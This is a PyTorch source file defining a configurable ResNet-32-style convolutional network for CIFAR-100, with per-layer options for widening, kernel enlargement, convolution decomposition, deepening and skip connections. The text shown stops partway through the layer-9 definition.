import numpy as np import argparse import torch import torch.nn as nn import torch.nn.functional as F import math assert torch.cuda.is_available() cuda_device = torch.device("cuda") # device object representing GPU #This model stands for resnet-32 on CIFAR-100 #model_id = 7 (1 less than the file name) class custom_cnn_7(torch.nn.Module): def __init__(self, input_features, reshape = True, widen_list = None, decompo_list = None, dummy_list = None, deepen_list = None, skipcon_list = None, kerneladd_list = None): super(custom_cnn_7,self).__init__() self.reshape = reshape self.widen_list = widen_list self.decompo_list = decompo_list self.dummy_list = dummy_list self.deepen_list = deepen_list self.skipcon_list = skipcon_list self.kerneladd_list = kerneladd_list self.relu = torch.nn.ReLU(inplace=True) self.logsoftmax = torch.nn.LogSoftmax(dim = 1) self.maxpool2x2 = torch.nn.MaxPool2d(kernel_size=2, stride=2) self.avgpool = torch.nn.AvgPool2d(8) params = [3, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[0] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[0] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[0] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[0]) params[3] = params[3] + 2* int(self.kerneladd_list[0]) params[6] = params[6] + int(self.kerneladd_list[0]) params[7] = params[7] + int(self.kerneladd_list[0]) if self.decompo_list != None: if self.decompo_list[0] == 1: self.conv0_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv0_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[0] == 2: self.conv0_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv0_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv0_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv0_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv0 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv0 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[0] == 1: self.conv0_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[0] == 1: self.conv0_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn0 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[0] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[0] / 4) * 4) if self.widen_list[1] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[1] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[1] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[1]) params[3] = params[3] + 2* int(self.kerneladd_list[1]) params[6] = params[6] + int(self.kerneladd_list[1]) params[7] = params[7] + int(self.kerneladd_list[1]) if self.decompo_list != None: if self.decompo_list[1] == 1: self.conv1_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[1] == 2: self.conv1_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[1] == 3: self.conv1_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[1] == 4: self.conv1_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv1_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv1 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv1 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[1] == 1: self.conv1_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[1] == 1: self.conv1_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn1 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[1] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[1] / 4) * 4) if self.widen_list[2] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[2] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[2] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[2]) params[3] = params[3] + 2* int(self.kerneladd_list[2]) params[6] = params[6] + int(self.kerneladd_list[2]) params[7] = params[7] + int(self.kerneladd_list[2]) if self.decompo_list != None: if self.decompo_list[2] == 1: self.conv2_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[2] == 2: self.conv2_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[2] == 3: self.conv2_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[2] == 4: self.conv2_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv2_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv2 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv2 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[2] == 1: self.conv2_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[2] == 1: self.conv2_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn2 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[2] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[2] / 4) * 4) if self.widen_list[3] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[3] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[3] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[3]) params[3] = params[3] + 2* int(self.kerneladd_list[3]) params[6] = params[6] + int(self.kerneladd_list[3]) params[7] = params[7] + int(self.kerneladd_list[3]) if self.decompo_list != None: if self.decompo_list[3] == 1: self.conv3_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[3] == 2: self.conv3_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[3] == 3: self.conv3_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[3] == 4: self.conv3_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv3_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv3 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv3 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[3] == 1: self.conv3_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[3] == 1: self.conv3_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn3 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[3] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[3] / 4) * 4) if self.widen_list[4] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[4] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[4] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[4]) params[3] = params[3] + 2* int(self.kerneladd_list[4]) params[6] = params[6] + int(self.kerneladd_list[4]) params[7] = params[7] + int(self.kerneladd_list[4]) if self.decompo_list != None: if self.decompo_list[4] == 1: self.conv4_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[4] == 2: self.conv4_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[4] == 3: self.conv4_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[4] == 4: self.conv4_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv4_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv4 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv4 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[4] == 1: self.conv4_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[4] == 1: self.conv4_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn4 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[4] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[4] / 4) * 4) if self.widen_list[5] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[5] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[5] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[5]) params[3] = params[3] + 2* int(self.kerneladd_list[5]) params[6] = params[6] + int(self.kerneladd_list[5]) params[7] = params[7] + int(self.kerneladd_list[5]) if self.decompo_list != None: if self.decompo_list[5] == 1: self.conv5_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[5] == 2: self.conv5_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[5] == 3: self.conv5_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[5] == 4: self.conv5_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv5_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv5 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv5 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[5] == 1: self.conv5_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[5] == 1: self.conv5_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn5 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[5] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[5] / 4) * 4) if self.widen_list[6] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[6] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[6] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[6]) params[3] = params[3] + 2* int(self.kerneladd_list[6]) params[6] = params[6] + int(self.kerneladd_list[6]) params[7] = params[7] + int(self.kerneladd_list[6]) if self.decompo_list != None: if self.decompo_list[6] == 1: self.conv6_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[6] == 2: self.conv6_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[6] == 3: self.conv6_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[6] == 4: self.conv6_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv6_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv6 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv6 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[6] == 1: self.conv6_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[6] == 1: self.conv6_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn6 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[6] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[6] / 4) * 4) if self.widen_list[7] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[7] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[7] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[7]) params[3] = params[3] + 2* int(self.kerneladd_list[7]) params[6] = params[6] + int(self.kerneladd_list[7]) params[7] = params[7] + int(self.kerneladd_list[7]) if self.decompo_list != None: if self.decompo_list[7] == 1: self.conv7_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[7] == 2: self.conv7_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[7] == 3: self.conv7_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[7] == 4: self.conv7_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv7_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv7 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv7 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[7] == 1: self.conv7_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[7] == 1: self.conv7_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn7 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[7] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[7] / 4) * 4) if self.widen_list[8] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[8] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[8] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[8]) params[3] = params[3] + 2* int(self.kerneladd_list[8]) params[6] = params[6] + int(self.kerneladd_list[8]) params[7] = params[7] + int(self.kerneladd_list[8]) if self.decompo_list != None: if self.decompo_list[8] == 1: self.conv8_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[8] == 2: self.conv8_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[8] == 3: self.conv8_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[8] == 4: self.conv8_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv8_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv8 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv8 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[8] == 1: self.conv8_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[8] == 1: self.conv8_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn8 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[8] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[8] / 4) * 4) if self.widen_list[9] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[9] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[9] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[9]) params[3] = params[3] + 2* int(self.kerneladd_list[9]) params[6] = params[6] + int(self.kerneladd_list[9]) params[7] = params[7] + int(self.kerneladd_list[9]) if self.decompo_list != None: if self.decompo_list[9] == 1: self.conv9_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[9] == 2: self.conv9_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[9] == 3: self.conv9_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[9] == 4: self.conv9_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv9_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv9 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv9 = torch.nn.Conv2d(params[0], params[1], (params[2], 